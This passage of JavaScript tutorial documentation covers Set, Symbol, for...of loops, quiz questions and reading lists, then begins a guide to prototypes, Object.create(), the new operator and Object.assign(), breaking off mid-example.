Set [Set](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Set) is a collection of unique values. ```javascript const set = new Set([1, 2, 3, 3, 3]); console.log(set); // Set { 1, 2, 3 } set.add(4); set.delete(1); console.log(set.has(2)); // true console.log(set.size); // 3 // Remove duplicates from array const numbers = [1, 2, 2, 3, 3, 3]; const unique = [...new Set(numbers)]; console.log(unique); // [1, 2, 3] // Set operations const a = new Set([1, 2, 3]); const b = new Set([2, 3, 4]); const union = new Set([...a, ...b]); // {1, 2, 3, 4} const intersection = [...a].filter(x => b.has(x)); // [2, 3] const difference = [...a].filter(x => !b.has(x)); // [1] ``` ### Symbol [Symbol](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol) is a primitive type for unique identifiers. ```javascript // Every Symbol is unique const sym1 = Symbol('description'); const sym2 = Symbol('description'); console.log(sym1 === sym2); // false // Use as object keys (hidden from normal iteration) const ID = Symbol('id'); const user = { name: 'Alice', [ID]: 12345 }; console.log(user[ID]); // 12345 console.log(Object.keys(user)); // ['name'] (Symbol not included) // Well-known Symbols customize object behavior const collection = { items: [1, 2, 3], [Symbol.iterator]() { let i = 0; return { next: () => ({ value: this.items[i], done: i++ >= this.items.length }) }; } }; for (const item of collection) { console.log(item); // 1, 2, 3 } ``` --- ## for...of Loop The [for...of](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for...of) loop iterates over iterable objects (arrays, strings, Maps, Sets, etc.). ```javascript // Arrays const colors = ['red', 'green', 'blue']; for (const color of colors) { console.log(color); // "red", "green", "blue" } // Strings for (const char of 'hello') { console.log(char); // "h", "e", "l", "l", "o" } // Maps const map = new Map([['a', 1], ['b', 2]]); for (const [key, value] of map) { console.log(key, value); // "a" 1, "b" 2 } // Sets const set = new Set([1, 2, 3]); for (const num of set) { console.log(num); // 1, 2, 3 } // With destructuring const users = [ { name: 'Alice', age: 25 }, { name: 'Bob', age: 30 } ]; for (const { name, age } of users) { console.log(`${name} is ${age}`); } ``` ### for...of vs for...in | | `for...of` | `for...in` | |---|-----------|-----------| | Iterates over | Values | Keys (property names) | | Works with | Iterables (Array, String, Map, Set) | Objects | | Array indices | Use `.entries()` | Yes (as strings) | ```javascript const arr = ['a', 'b', 'c']; for (const value of arr) { console.log(value); // "a", "b", "c" (values) } for (const index in arr) { console.log(index); // "0", "1", "2" (keys as strings) } ``` --- ## Key Takeaways <Info> **The key things to remember about modern JavaScript syntax:** 1. **Arrow functions inherit `this`** from the enclosing scope. Don't use them as object methods or constructors. 2. **Destructuring extracts values** from arrays (by position) and objects (by property name). Use it for cleaner function parameters. 3. **Spread (`...`) expands**, rest (`...`) collects. Same syntax, different contexts. 4. **`??` checks for null/undefined only**. Use it when `0`, `''`, or `false` are valid values. Use `||` when you want fallback for any falsy value. 5. **Optional chaining (`?.`)** prevents "cannot read property of undefined" errors. Don't overuse it or you'll hide bugs. 6. **Template literals** use backticks and support `${expressions}` and multi-line strings. 7. **Default parameters trigger only on `undefined`**, not `null` or other falsy values. 8. **Map keys can be any type**, maintain insertion order, and have a `.size` property. Use Map when Object doesn't fit. 9. **Set stores unique values**. Spread a Set to deduplicate an array: `[...new Set(arr)]`. 10. **`for...of` iterates values**, `for...in` iterates keys. Use `for...of` for arrays. </Info> --- ## Test Your Knowledge <AccordionGroup> <Accordion title="Question 1: What's the output of `0 ?? 'default'` vs `0 || 'default'`?"> **Answer:** - `0 ?? 'default'` returns `0` - `0 || 'default'` returns `'default'` The nullish coalescing operator (`??`) only returns the right side for `null` or `undefined`. Since `0` is neither, it returns `0`. The logical OR (`||`) returns the right side for any falsy value. Since `0` is falsy, it returns `'default'`. ```javascript // Use ?? when 0 is a valid value const count = response.count ?? 10; // Use || when any falsy value should trigger default const name = input || 'Anonymous'; ``` </Accordion> <Accordion title="Question 2: How do you return an object literal from an arrow function?"> **Answer:** Wrap the object literal in parentheses: ```javascript // ❌ WRONG - braces interpreted as function body const createUser = name => { name, active: true }; // Returns undefined // ✓ CORRECT - parentheses make it an expression const createUser = name => ({ name, active: true }); // Returns { name: '...', active: true } ``` Without parentheses, JavaScript interprets `{ }` as a function body block, not an object literal. The parentheses force it to be treated as an expression. </Accordion> <Accordion title="Question 3: What's the difference between spread and rest?"> **Answer:** They use the same `...` syntax but do opposite things: **Spread** expands an iterable into individual elements: ```javascript const arr = [1, 2, 3]; console.log(...arr); // 1 2 3 (individual values) const copy = [...arr]; // [1, 2, 3] (new array) Math.max(...arr); // 3 (arguments spread) ``` **Rest** collects multiple elements into an array: ```javascript function sum(...numbers) { // Collects all args return numbers.reduce((a, b) => a + b, 0); } const [first, ...rest] = [1, 2, 3, 4]; // first = 1, rest = [2, 3, 4] ``` **Rule of thumb:** In a function definition or destructuring pattern, it's rest. Everywhere else (function calls, array/object literals), it's spread. </Accordion> <Accordion title="Question 4: Why shouldn't you use arrow functions as object methods?"> **Answer:** Arrow functions don't have their own `this`. They inherit `this` from the enclosing lexical scope, which is usually the global object or `undefined` (in strict mode). ```javascript const user = { name: 'Alice', // ❌ Arrow function - 'this' is NOT the user object greetArrow: () => { console.log(`Hi, I'm ${this.name}`); }, // ✓ Regular function - 'this' IS the user object greetRegular() { console.log(`Hi, I'm ${this.name}`); } }; user.greetArrow(); // "Hi, I'm undefined" user.greetRegular(); // "Hi, I'm Alice" ``` Use regular functions (or method shorthand) for object methods when you need access to `this`. </Accordion> <Accordion title="Question 5: How do you swap two variables without a temporary variable?"> **Answer:** Use array destructuring: ```javascript let a = 1; let b = 2; [a, b] = [b, a]; console.log(a); // 2 console.log(b); // 1 ``` This creates a temporary array `[b, a]` (which is `[2, 1]`), then destructures it back into `a` and `b` in the new order. </Accordion> <Accordion title="Question 6: What does `user?.address?.city ?? 'Unknown'` return if user is null?"> **Answer:** It returns `'Unknown'`. Here's the evaluation: 1. `user?.address` — `user` is `null`, so optional chaining short-circuits and returns `undefined` 2. `undefined?.city` — This never runs because we already got `undefined` 3. `undefined ?? 'Unknown'` — `undefined` is nullish, so we get `'Unknown'` ```javascript const user = null; const city = user?.address?.city ?? 'Unknown'; console.log(city); // "Unknown" // Without optional chaining, this would throw: // TypeError: Cannot read property 'address' of null ``` </Accordion> </AccordionGroup> --- ## Frequently Asked Questions <AccordionGroup> <Accordion title="What is ES6 and why does it matter?"> ES6 (ECMAScript 2015) was the largest single update to JavaScript, introducing `let`/`const`, arrow functions, classes, template literals, destructuring, modules, Promises, and more. It transformed JavaScript from a scripting language into a modern programming language. Since ES6, the [TC39 committee](https://tc39.es/) releases yearly specification updates with incremental features. </Accordion> <Accordion title="What is the difference between arrow functions and regular functions?"> Arrow functions have shorter syntax and don't bind their own `this`, `arguments`, `super`, or `new.target`. They inherit `this` from the enclosing scope, making them ideal for callbacks and closures. Regular functions are needed for object methods, constructors, and any context requiring dynamic `this` binding. See [MDN's arrow function reference](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions) for the full list of differences. </Accordion> <Accordion title="What is destructuring in JavaScript?"> Destructuring is syntax for extracting values from arrays or properties from objects into distinct variables. Instead of `const name = user.name`, you write `const { name } = user`. It works with nested objects, arrays, default values, and renamed variables. The [ECMAScript specification](https://tc39.es/ecma262/#sec-destructuring-assignment) defines it as a destructuring assignment pattern. </Accordion> <Accordion title="What is the difference between spread and rest operators?"> Both use the `...` syntax but in different contexts. The **spread** operator expands an iterable into individual elements: `[...arr]` copies an array. The **rest** operator collects multiple elements into a single array: `function(...args)` gathers all arguments. Spread appears in expressions; rest appears in function parameters and destructuring patterns. </Accordion> <Accordion title="What is optional chaining and when should I use it?"> Optional chaining (`?.`) safely accesses deeply nested properties without checking each level for `null` or `undefined`. Instead of `user && user.address && user.address.city`, you write `user?.address?.city`. It returns `undefined` if any part of the chain is nullish. Introduced in ES2020, it pairs naturally with the nullish coalescing operator (`??`) for providing defaults. </Accordion> </AccordionGroup> --- ## Related Concepts <CardGroup cols={2}> <Card title="Scope and Closures" icon="layer-group" href="/concepts/scope-and-closures"> Deep dive into let, const, var, block scope, and the temporal dead zone </Card> <Card title="this, call, apply and bind" icon="bullseye" href="/concepts/this-call-apply-bind"> Understanding arrow function this binding in context of all binding rules </Card> <Card title="ES Modules" icon="box" href="/concepts/es-modules"> Modern import/export syntax for organizing JavaScript code </Card> <Card title="Promises" icon="handshake" href="/concepts/promises"> Async features that pair well with modern syntax like async/await </Card> </CardGroup> --- ## Reference <CardGroup cols={2}> <Card title="Destructuring Assignment — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment"> Complete reference for array and object destructuring patterns </Card> <Card title="Spread Syntax — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Spread_syntax"> Documentation for the spread operator in arrays, objects, and function calls </Card> <Card title="Arrow Functions — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions"> Arrow function syntax, limitations, and this binding behavior </Card> <Card title="Optional Chaining — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Optional_chaining"> Safe property access with the ?. operator </Card> <Card title="Nullish Coalescing — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Nullish_coalescing"> The ?? operator and how it differs from || </Card> <Card title="Template Literals — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Template_literals"> String interpolation, multi-line strings, and tagged templates </Card> </CardGroup> ## Articles <CardGroup cols={2}> <Card title="Destructuring Assignment" icon="newspaper" href="https://javascript.info/destructuring-assignment"> Thorough breakdown of both array and object destructuring with progressive examples from basic to nested patterns. Includes interactive exercises that reinforce each concept. </Card> <Card title="Rest Parameters and Spread Syntax" icon="newspaper" href="https://javascript.info/rest-parameters-spread"> Clearly distinguishes between the visually identical `...` syntax for rest vs spread. The comparison with the legacy `arguments` object shows why modern features are preferred. </Card> <Card title="Optional Chaining" icon="newspaper" href="https://javascript.info/optional-chaining"> Walks through the evolution from verbose `&&` chains to elegant optional chaining, covering all three syntax forms. Includes guidance on when NOT to overuse it. </Card> <Card title="Nullish Coalescing Operator" icon="newspaper" href="https://javascript.info/nullish-coalescing-operator"> Explains the crucial difference between `??` and `||`. This distinction prevents common bugs when working with legitimate zero or empty string values. </Card> <Card title="A Dead Simple Intro to Destructuring" icon="newspaper" href="https://wesbos.com/destructuring-objects"> Wes Bos's practical teaching style with real-world examples including API response handling and deeply nested data extraction. Short, focused, and immediately applicable. </Card> <Card title="Template Literals" icon="newspaper" href="https://css-tricks.com/template-literals/"> Goes beyond basic interpolation to explore tagged template literals for building custom DSLs and sanitizing user input. Includes a practical reusable template function. </Card> </CardGroup> ## Videos <CardGroup cols={2}> <Card title="JavaScript Destructuring in 100 Seconds" icon="video" href="https://www.youtube.com/watch?v=UgEaJBz3bjY"> Fireship's rapid-fire format packs array destructuring, object destructuring, default values, and nested patterns into a dense but digestible 100 seconds. </Card> <Card title="JavaScript ES6 Arrow Functions Tutorial" icon="video" href="https://www.youtube.com/watch?v=h33Srr5J9nY"> Kyle from Web Dev Simplified walks through arrow function syntax variations, implicit returns, and the critical `this` binding differences from traditional functions. </Card> <Card title="Spread Operator and Rest Parameters" icon="video" href="https://www.youtube.com/watch?v=iLx4ma8ZqvQ"> Practical use cases including array concatenation, object merging, and function argument collection with side-by-side comparisons to ES5 alternatives. </Card> <Card title="Optional Chaining Explained" icon="video" href="https://www.youtube.com/watch?v=v2tJ3nzXh8I"> Shows how optional chaining eliminates defensive coding patterns when accessing deeply nested object properties. Includes real-world API response examples. </Card> </CardGroup> ================================================ FILE: docs/concepts/object-creation-prototypes.mdx ================================================ --- title: "Prototypes & Object Creation" sidebarTitle: "Object Creation & Prototypes: How Objects Inherit" description: "Learn JavaScript prototypes and object creation. Understand the prototype chain, new operator, Object.create(), and inheritance." "og:type": "article" "article:author": "Leonardo Maldonado" "article:section": "Object-Oriented JavaScript" "article:tag": "javascript prototypes, prototype chain, Object.create, new operator, object inheritance" --- How does a plain JavaScript object know about methods like `.toString()` or `.hasOwnProperty()` that you never defined? How does JavaScript let objects inherit from other objects without traditional classes? ```javascript // You create a simple object const player = { name: "Alice", health: 100 } // But it has methods you never defined! console.log(player.toString()) // "[object Object]" console.log(player.hasOwnProperty("name")) // true // Where do these come from? console.log(Object.getPrototypeOf(player)) // { constructor: Object, toString: f, ... } ``` The answer is the **[prototype chain](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Inheritance_and_the_prototype_chain)**. It's JavaScript's inheritance mechanism, defined in the ECMAScript specification as the `[[Prototype]]` internal slot. Every object has a hidden link to another object called its **prototype**. When you access a property, JavaScript looks for it on the object first, then follows this chain of prototypes until it finds the property or reaches the end (`null`). <Info> **What you'll learn in this guide:** - What the prototype chain is and how property lookup works - The difference between `[[Prototype]]`, `__proto__`, and `.prototype` - How to create objects with `Object.create()` - What the `new` operator does (the 4 steps) - How to copy properties with `Object.assign()` - How to inspect and modify prototypes - Common prototype methods like `hasOwnProperty()` - Prototype pitfalls and how to avoid them </Info> <Warning> **Prerequisites:** This guide assumes you understand [Primitive Types](/concepts/primitive-types) and [Primitives vs Objects](/concepts/primitives-objects). If objects and their properties are new to you, read those guides first! </Warning> --- ## What is the Prototype Chain? The **prototype chain** is JavaScript's way of implementing inheritance. Every object has an internal link (called `[[Prototype]]`) to another object, its prototype. When you try to access a property on an object, JavaScript: 1. First looks for the property on the object itself 2. If not found, looks on the object's prototype 3. If still not found, looks on the prototype's prototype 4. Continues until it finds the property or reaches `null` (the end of the chain) ```javascript // Create a simple object const wizard = { name: "Gandalf", castSpell() { return `${this.name} casts a spell!` } } // Create another object that inherits from wizard const apprentice = Object.create(wizard) apprentice.name = "Harry" // apprentice has its own 'name' property console.log(apprentice.name) // "Harry" // But castSpell comes from the prototype (wizard) console.log(apprentice.castSpell()) // "Harry casts a spell!" // The prototype chain: // apprentice → wizard → Object.prototype → null ``` ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ THE PROTOTYPE CHAIN │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ apprentice.castSpell() │ │ │ │ │ │ 1. Does apprentice have castSpell? NO │ │ ▼ │ │ ┌──────────────┐ │ │ │ apprentice │ │ │ │──────────────│ │ │ │ name: "Harry"│ │ │ │ [[Prototype]]│────┐ │ │ └──────────────┘ │ │ │ │ 2. Does wizard have castSpell? YES! Use it │ │ ▼ │ │ ┌──────────────────┐ │ │ │ wizard │ │ │ │──────────────────│ │ │ │ name: "Gandalf" │ │ │ │ castSpell: fn │ ◄── Found here! │ │ │ [[Prototype]] │────┐ │ │ └──────────────────┘ │ │ │ │ 3. If not found, keep going... │ │ ▼ │ │ ┌────────────────────┐ │ │ │ Object.prototype │ │ │ │────────────────────│ │ │ │ toString: fn │ │ │ │ hasOwnProperty: fn │ │ │ │ [[Prototype]] │────┐ │ │ └────────────────────┘ │ │ │ │ │ │ ▼ │ │ null │ │ (end of chain) │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` <Tip> **The Chain Always Ends:** Every prototype chain eventually reaches `Object.prototype`, then `null`. As documented on MDN, this is why all objects have access to methods like `toString()` and `hasOwnProperty()`. They inherit them from `Object.prototype`. </Tip> --- ## Understanding `[[Prototype]]`, `__proto__`, and `.prototype` These three terms confuse many developers. Let's clarify: | Term | What It Is | How to Access | |------|------------|---------------| | `[[Prototype]]` | The internal prototype link every object has | Not directly accessible (it's internal) | | `__proto__` | A getter/setter that exposes `[[Prototype]]` | `obj.__proto__` (deprecated, avoid in production) | | `.prototype` | A property on **functions** used when creating instances with `new` | `Function.prototype` | ```javascript // Every object has [[Prototype]] — an internal link to its prototype const player = { name: "Alice" } // __proto__ exposes [[Prototype]] (deprecated but works) console.log(player.__proto__ === Object.prototype) // true // .prototype exists only on FUNCTIONS function Player(name) { this.name = name } // When you use 'new Player()', the new object's [[Prototype]] // is set to Player.prototype console.log(Player.prototype) // { constructor: Player } const alice = new Player("Alice") console.log(Object.getPrototypeOf(alice) === Player.prototype) // true ``` ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ THE THREE PROTOTYPE TERMS │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ [[Prototype]] The hidden internal slot every object has │ │ ────────────── Points to the object's prototype │ │ You can't access it directly │ │ │ │ __proto__ A way to READ/WRITE [[Prototype]] │ │ ───────── obj.__proto__ = Object.getPrototypeOf(obj) │ │ DEPRECATED! Use Object.getPrototypeOf() instead │ │ │ │ .prototype A property that exists ONLY on functions │ │ ────────── Used as the [[Prototype]] for objects │ │ created with new │ │ │ │ ───────────────────────────────────────────────────────────────────── │ │ │ │ function Player(name) { this.name = name } │ │ │ │ Player.prototype ─────────────┐ │ │ │ │ │ const p = new Player("A") │ │ │ │ │ │ │ │ [[Prototype]] ════════╧═══▶ { constructor: Player } │ │ │ │ │ │ ▼ │ [[Prototype]] │ │ ┌───────────┐ ▼ │ │ │ p │ Object.prototype │ │ │───────────│ │ │ │ │name: "A" │ │ [[Prototype]] │ │ └───────────┘ ▼ │ │ null │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` <Warning> **Don't use `__proto__` in production code!** It's deprecated and has performance issues. Use `Object.getPrototypeOf()` to read and `Object.setPrototypeOf()` to write (sparingly). </Warning> --- ## How Property Lookup Works When you access a property on an object, JavaScript performs a **prototype chain lookup**: <Steps> <Step title="Check the object itself"> JavaScript first looks for the property directly on the object. </Step> <Step title="Check the prototype"> If not found, it looks at `Object.getPrototypeOf(obj)` (the object's prototype). </Step> <Step title="Continue up the chain"> If still not found, it checks the prototype's prototype, and so on. </Step> <Step title="Reach null or find the property"> The search stops when the property is found OR when `null` is reached (property is `undefined`). </Step> </Steps> ```javascript const grandparent = { familyName: "Smith", sayHello() { return `Hello from the ${this.familyName} family!` } } const parent = Object.create(grandparent) parent.job = "Engineer" const child = Object.create(parent) child.name = "Alice" // Property lookup in action: console.log(child.name) // "Alice" (found on child) console.log(child.job) // "Engineer" (found on parent) console.log(child.familyName) // "Smith" (found on grandparent) console.log(child.sayHello()) // "Hello from the Smith family!" console.log(child.age) // undefined (not found anywhere) // Visualizing the chain console.log(Object.getPrototypeOf(child) === parent) // true console.log(Object.getPrototypeOf(parent) === grandparent) // true console.log(Object.getPrototypeOf(grandparent) === Object.prototype) // true console.log(Object.getPrototypeOf(Object.prototype)) // null ``` ### Property Shadowing When you set a property on an object, it creates or updates the property **on that object**, even if a property with the same name exists on the prototype: ```javascript const prototype = { greeting: "Hello", count: 0 } const obj = Object.create(prototype) // Reading — uses prototype's value console.log(obj.greeting) // "Hello" (from prototype) console.log(obj.count) // 0 (from prototype) // Writing — creates property on obj, "shadows" the prototype's obj.greeting = "Hi" obj.count = 5 console.log(obj.greeting) // "Hi" (own property) console.log(prototype.greeting) // "Hello" (unchanged!) console.log(obj.count) // 5 (own property) console.log(prototype.count) // 0 (unchanged!) // Check what's "own" vs inherited console.log(obj.hasOwnProperty("greeting")) // true (it's on obj now) console.log(obj.hasOwnProperty("count")) // true ``` ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ PROPERTY SHADOWING │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ BEFORE obj.greeting = "Hi" AFTER obj.greeting = "Hi" │ │ ────────────────────────── ───────────────────────── │ │ │ │ obj obj │ │ ┌─────────────┐ ┌──────────────────┐ │ │ │ (empty) │ │ greeting: "Hi" │ ◄── shadows │ │ │ [[Proto]]───┼──┐ │ [[Proto]]────────┼──┐ │ │ └─────────────┘ │ └──────────────────┘ │ │ │ │ │ │ │ ▼ ▼ │ │ prototype prototype │ │ ┌──────────────────────┐ ┌──────────────────────┐ │ │ │ greeting: "Hello" │ │ greeting: "Hello" │ hidden │ │ │ count: 0 │ │ count: 0 │ │ │ └──────────────────────┘ └──────────────────────┘ │ │ │ │ obj.greeting returns "Hello" obj.greeting returns "Hi" │ │ (found on prototype) (found on obj, stops looking) │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` --- ## Ways to Create Objects in JavaScript JavaScript gives you several ways to create objects, each with different use cases: ### 1. Object Literals The simplest way. Great for one-off objects: ```javascript // Object literal — prototype is automatically Object.prototype const player = { name: "Alice", health: 100, attack() { return `${this.name} attacks!` } } console.log(Object.getPrototypeOf(player) === Object.prototype) // true ``` ### 2. Object.create() — Create with Specific Prototype [`Object.create()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/create) creates a new object with a specified prototype: ```javascript // Create a prototype object const animalProto = { speak() { return `${this.name} makes a sound.` }, eat(food) { return `${this.name} eats ${food}.` } } // Create objects that inherit from animalProto const dog = Object.create(animalProto) dog.name = "Rex" dog.breed = "German Shepherd" const cat = Object.create(animalProto) cat.name = "Whiskers" cat.color = "orange" console.log(dog.speak()) // "Rex makes a sound." console.log(cat.eat("fish")) // "Whiskers eats fish." // Both share the same prototype console.log(Object.getPrototypeOf(dog) === animalProto) // true console.log(Object.getPrototypeOf(cat) === animalProto) // true ``` #### Creating Objects with No Prototype Pass `null` to create an object with **no prototype**. This is useful for dictionaries: ```javascript // Regular object inherits from Object.prototype const regular = {} console.log(regular.toString) // [Function: toString] console.log("toString" in regular) // true // Object with null prototype — truly empty const dict = Object.create(null) console.log(dict.toString) // undefined console.log("toString" in dict) // false // Useful for safe dictionaries (no inherited properties to collide with) dict["hasOwnProperty"] = "I can use any key!" console.log(dict["hasOwnProperty"]) // "I can use any key!" // With regular object, this would shadow the method: const risky = {} risky["hasOwnProperty"] = "oops" // risky.hasOwnProperty("x") would now throw an error! ``` #### Object.create() with Property Descriptors You can define properties with descriptors: ```javascript const person = Object.create(Object.prototype, { name: { value: "Alice", writable: true, enumerable: true, configurable: true }, age: { value: 30, writable: false, // Can't change age enumerable: true, configurable: false }, secret: { value: "hidden", enumerable: false // Won't show in for...in or Object.keys() } }) console.log(person.name) // "Alice" console.log(person.age) // 30 person.age = 25 // Silently fails (or throws in strict mode) console.log(person.age) // Still 30 console.log(Object.keys(person)) // ["name", "age"] (no "secret") ``` ### 3. The `new` Operator — Create from Constructor The [`new`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/new) operator creates an object from a constructor function. When you call `new Constructor(args)`, JavaScript performs **4 steps**: <Steps> <Step title="Create a new empty object"> JavaScript creates a fresh object: `const obj = {}` </Step> <Step title="Link the prototype"> Sets `obj`'s `[[Prototype]]` to `Constructor.prototype` (if it's an object). If `Constructor.prototype` is not an object (e.g., a primitive), the new object uses `Object.prototype` instead. </Step> <Step title="Execute the constructor"> Runs the constructor with `this` bound to the new object </Step> <Step title="Return the object"> Returns `obj` (unless the constructor explicitly returns a non-primitive value) </Step> </Steps> ```javascript // A constructor function function Player(name, health) { // Step 3: 'this' is bound to the new object this.name = name this.health = health } // Methods go on the prototype (shared by all instances) Player.prototype.attack = function() { return `${this.name} attacks!` } // Create instance with 'new' const alice = new Player("Alice", 100) console.log(alice.name) // "Alice" console.log(alice.attack()) // "Alice attacks!" console.log(alice instanceof Player) // true console.log(Object.getPrototypeOf(alice) === Player.prototype) // true ``` ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ WHAT new Player("Alice", 100) DOES │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ Step 1: Create a new empty object │ │ const obj = {} │ │ │ │ Step 2: Link the object's prototype to Constructor.prototype │ │ Object.setPrototypeOf(obj, Player.prototype) │ │ │ │ Step 3: Run the constructor with 'this' bound to the new object │ │ Player.call(obj, "Alice", 100) │ │ // Now obj.name = "Alice", obj.health = 100 │ │ │ │ Step 4: Return the object (unless constructor returns an object) │ │ return obj │ │ │ │ ───────────────────────────────────────────────────────────────────── │ │ │ │ RESULT: │ │ │ │ Player.prototype │ │ ┌─────────────────────┐ │ │ │ attack: function() │◄───── Shared by all instances │ │ │ constructor: Player │ │ │ └─────────────────────┘ │ │ ▲ │ │ │ [[Prototype]] │ │ │ │ │ ┌────────┴────────┐ │ │ │ alice │ │ │ │─────────────────│ │ │ │ name: "Alice" │ │ │ │ health: 100 │ │ │ └─────────────────┘ │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` #### Simulating `new` Here's a function that does what `new` does: ```javascript function myNew(Constructor, ...args) { // Steps 1 & 2: Create object with correct prototype const obj = Object.create(Constructor.prototype) // Step 3: Run constructor with 'this' = obj const result = Constructor.apply(obj, args) // Step 4: Return result if it's a non-primitive, otherwise return obj // Note: Functions are also objects, so constructors returning functions // will override the default return as well return (result !== null && typeof result === 'object') ? result : obj } // These do the same thing: const player1 = new Player("Alice", 100) const player2 = myNew(Player, "Bob", 100) console.log(player1 instanceof Player) // true console.log(player2 instanceof Player) // true ``` <Note> **Edge case:** If a constructor returns a function, that function is returned instead of the new object (since functions are objects in JavaScript). This is rare in practice but technically allowed by the spec. </Note> <Warning> **Don't forget `new`!** Without it, `this` in a constructor refers to the global object (or `undefined` in strict mode), causing bugs. ES6 classes throw an error if you forget `new`, which is safer. </Warning> ### 4. Object.assign() — Copy Properties [`Object.assign()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/assign) copies enumerable own properties from source objects to a target: ```javascript // Basic usage: copy properties to target const target = { a: 1 } const source = { b: 2, c: 3 } const result = Object.assign(target, source) console.log(result) // { a: 1, b: 2, c: 3 } console.log(target) // { a: 1, b: 2, c: 3 } — target is modified! console.log(result === target) // true — returns the target ``` #### Merging Multiple Objects ```javascript const defaults = { theme: "light", fontSize: 14, showSidebar: true } const userPrefs = { theme: "dark", fontSize: 16 } const sessionOverrides = { fontSize: 18 } // Later sources overwrite earlier ones const settings = Object.assign({}, defaults, userPrefs, sessionOverrides) console.log(settings) // { theme: "dark", fontSize: 18, showSidebar: true } // Original objects are unchanged (because we used {} as target) console.log(defaults.fontSize) // 14 ``` #### Cloning Objects (Shallow) ```javascript const original = { name: "Alice", scores: [90, 85, 92] } // Shallow clone const clone = Object.assign({}, original) clone.name = "Bob" console.log(original.name) // "Alice" — primitive copied by value clone.scores.push(100) console.log(original.scores) // [90, 85, 92, 100] — array shared! ``` <Warning> **`Object.assign()` performs a shallow copy!** Nested objects and arrays are copied by reference, not cloned. For deep cloning, use `structuredClone()` or a library like Lodash. ```javascript // Deep clone with structuredClone (modern browsers) const deepClone = structuredClone(original) deepClone.scores.push(100) console.log(original.scores) // [90, 85, 92] — unchanged! ``` </Warning> #### Object.assign() Only Copies Own, Enumerable Properties ```javascript const proto = { inherited: "from prototype" } const source = Object.create(proto) source.own = "my own property" Object.defineProperty(source, "hidden", { value: "non-enumerable", enumerable: false }) const target = {} Object.assign(target, source) console.log(target.own) // "my own property" — copied console.log(target.inherited) // undefined — NOT copied (inherited) console.log(target.hidden) // undefined — NOT copied (non-enumerable) ``` --- ## Inspecting and Modifying Prototypes JavaScript provides methods to work with prototypes: ### Object.getPrototypeOf() — Read the Prototype ```javascript const player = { name: "Alice" } // Get the prototype const proto = Object.getPrototypeOf(player) console.log(proto === Object.prototype) // true // Works with any object function Game() {} const game = new Game() console.log(Object.getPrototypeOf(game) === Game.prototype) // true // End of the chain console.log(Object.getPrototypeOf(Object.prototype)) // null ``` ### Object.setPrototypeOf() — Change the Prototype [`Object.setPrototypeOf()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/setPrototypeOf) changes an object's prototype after creation: ```javascript const swimmer = { swim() { return `${this.name} swims!` } } const flyer = { fly() { return `${this.name} flies!` } } const duck = { name: "Donald" } // Start as a swimmer Object.setPrototypeOf(duck, swimmer) console.log(duck.swim()) // "Donald swims!" // Change to a flyer Object.setPrototypeOf(duck, flyer) console.log(duck.fly()) // "Donald flies!" // console.log(duck.swim()) // TypeError: duck.swim is not a function ``` <Warning> **Avoid `Object.setPrototypeOf()` in performance-critical code!** Changing an object's prototype after creation is slow and can deoptimize your code. Set the prototype correctly at creation time with `Object.create()` instead. </Warning> ### instanceof — Check the Prototype Chain The [`instanceof`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/instanceof) operator checks if `Constructor.prototype` exists in the object's prototype chain: ```javascript function Animal(name) { this.name = name } function Dog(name, breed) { Animal.call(this, name) this.breed = breed } // Set up inheritance Dog.prototype = Object.create(Animal.prototype) Dog.prototype.constructor = Dog const rex = new Dog("Rex", "German Shepherd") console.log(rex instanceof Dog) // true console.log(rex instanceof Animal) // true console.log(rex instanceof Object) // true console.log(rex instanceof Array) // false ``` ### isPrototypeOf() — Check if Object is in Chain ```javascript const animal = { eats: true } const dog = Object.create(animal) dog.barks = true console.log(animal.isPrototypeOf(dog)) // true console.log(Object.prototype.isPrototypeOf(dog)) // true console.log(Array.prototype.isPrototypeOf(dog)) // false ``` --- ## Common Prototype Methods These methods help you work with object properties and prototypes: ### hasOwnProperty() — Check Own Properties ```javascript const proto = { inherited: true } const obj = Object.create(proto) obj.own = true // hasOwnProperty checks ONLY the object, not the chain console.log(obj.hasOwnProperty("own")) // true console.log(obj.hasOwnProperty("inherited")) // false // 'in' operator checks the whole chain console.log("own" in obj) // true console.log("inherited" in obj) // true ``` <Tip> **Modern alternative: `Object.hasOwn()`** (ES2022+) Use [`Object.hasOwn()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/hasOwn) instead of `hasOwnProperty()`. It's safer because it works on objects with a `null` prototype and can't be shadowed: ```javascript // hasOwnProperty can be shadowed or unavailable const nullProto = Object.create(null) nullProto.key = "value" // nullProto.hasOwnProperty("key") // TypeError: not a function // Object.hasOwn always works Object.hasOwn(nullProto, "key") // true ``` </Tip> ### Object.keys() vs for...in ```javascript const proto = { inherited: 